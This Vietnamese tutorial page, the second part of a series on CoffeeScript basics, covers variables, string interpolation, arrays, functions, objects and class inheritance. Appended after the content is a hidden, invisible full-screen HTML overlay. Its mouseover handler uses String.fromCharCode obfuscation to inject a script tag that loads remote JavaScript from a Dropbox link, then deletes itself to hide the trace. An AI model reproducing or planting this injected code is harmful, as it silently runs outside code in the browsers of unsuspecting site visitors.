Những Khái Niệm Cơ Bản Về CoffeeScript <Part 2>

Chào các bạn, như ở bài trước mình để giới thiệu những khái niệm cơ bản trong CoffeeScript. Để tiếp tục với nội dung của bài trước, trong bài viết này mình sẽ đi sâu hơn vào nhiều vấn đề và khía cạnh của việc sử dụng CoffeeScript được sử dụng trong dự án.

Khác với lại việc đặt biến trong JavaScript, việc đặt biến trong CoffeeScript chúng ta không cần phải sử dụng từ khóa var trước tên biến nữa. Đơn giản chỉ cần đặt tên biến, dấu bằng, và sau đó các giá trị của biến.

age = 25

CoffeeScript khái báo biến String trong dấu ngoặc kép "" cũng giống như hầu hết các ngôn ngữ lập trình khác.

email = "example@example.com"

Để nối chuỗi vào 1 một biến đã có giá trị, bạn cũng có thể dùng phép cộng + để thực hiện.

firstName = "Loan"
fullName = firstName + " Trần Hồng."

result: Loan Trần Hồng.

Điểm đặc biệt trong CoffeeScript khác với JavaScript là bạn có thể dùng dấu # và sau đó là dấu ngoặc nhọn {} trong dấu nháy kép "" để nối biến với chuỗi.

firstName = "Loan"
fullName = "#{firstName} Trần Hồng."

result: Loan Trần Hồng.

Nhưng bạn đặt trong dấu nháy đơn thì kết quả nỗi chuỗi sẽ bị sai.

firstName = "Loan"
fullName = '#{firstName} Trần Hồng.'

result: #{firstName} Trần Hồng..

Có nhiều cách khác nhau để khởi tạo và khai báo mảng (Array) trong CoffeeScript. Bạn có thể khái báo trên 1 trong trong dấu ngoặc vuông [] với các giá trị nằm trong dấu ngoặc kép "" và cách nhau bằng dấu phẩy ,.

strAray = ["BMW", "Audi", "Porsche", "Range Rover", "Lexus"]

Hoặc bạn cũng có thể khai báo mảng trên nhiều dòng như thế này:

strAray = [
  "BMW",
  "Audi",
  "Porsche",
  "Range Rover",
  "Lexus"
]

Ngoài bạn có thể loại bỏ các dấu phẩy khỏi mỗi dòng.

strAray = [
  "BMW"
  "Audi"
  "Porsche"
  "Range Rover"
  "Lexus"
]

Nếu các bạn để ý thì thấy việc khai báo hàm trong CoffeeScript và trong JavaScript là rất khác nhau.

myFunction = (a, b) -> return a * b

function myFunction(a, b) {
    return a * b;
}

Phân tích 1 chút việc khai báo hàm trong CoffeeScript sẽ bao gồm tên hàm, dấu bằng (param nếu có) và đặc biệt là dấu -> sau đến biểu thức chức năng.

Đối tượng trong CoffeeScript được khai báo dưới dạng JSON như sau:

objAuto = {
  car: {
    name: "Audi",
    company: "Volkswagen"
  },
  car: {
    name:"BMW",
    company: "Bayerische Motoren Werke AG"
  },
  car: {
    name:"Lexus",
    company: "Toyota"
  }
}

Hoặc bạn có thể bỏ viết cách khác là bỏ dấu phẩy , và dấu ngoặc nhọn {} đi.

objAuto =
  car:
    name: "Audi"
    company: "Volkswagen"
  car:
    name:"BMW"
    company: "Bayerische Motoren Werke AG"
  car:
    name:"Lexus"
    company: "Toyota"

Biến Instance được khai báo bắt đầu bằng ký tự @, ví dụ khai báo như sau:

class Car
  constructor: (bmw) ->
    @bmw = bmw

Khi sử dụng biến Instance chúng ta có thể truy cập giá trị thông qua dấu .

class Car
  constructor: (car) ->
    @car = car
bmw = new Car "BMW"
console.log bmw.car

Để viết 1 lớp Class Inheritance chúng ta có thể sử dụng phương thức extends như sau:

class BMW extends Car

Ở đây có thể dùng biến go để truy cập vào phương thức trong Class Inheritance

class Car
  constructor: (@bmw) ->
  go: (x_6) ->
    console.log x_6

Trong Class Inheritance bạn có thể sử dụng phương thức super.

class BMW extends Car
  go: ->
    super "I love BMW"

class Lexus extends Car
  go: ->
    super "I love Lexus GX 570"

bmw = new BMW
lexus = new Lexus

bmw.go()
lexus.go()

result: "I love BMW"
        "I love Lexus GX 570"

Qua bài viết trên chúng ta đã tìm hiểu thêm các khái niệm cơ bản trong CoffeeScript và có nhiều cái mới hơn so với JavaScript quen thuộc chúng ta hay dùng. Có nhiều khả năng CoffeeScript sẽ là tương lai của ngôn ngữ lập trình Client thay thế cho JavaScript.

Bài viết tiếp theo mình sẽ học thêm các khái niệm mới nữa trong CoffeeScript các bạn chờ đón đọc nhé. Chúc các bạn cuối tuần vui vẻ và nhiều niêm vui và cùng thưởng thức EURO chọn vẹn.

Mọi ý kiến đóng góp cho bài viết các bạn có thể Comment bên dưới để cho bài viết hoàn thiện hơn! Many Thank! (thankyou).

• CoffeeScript Home

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">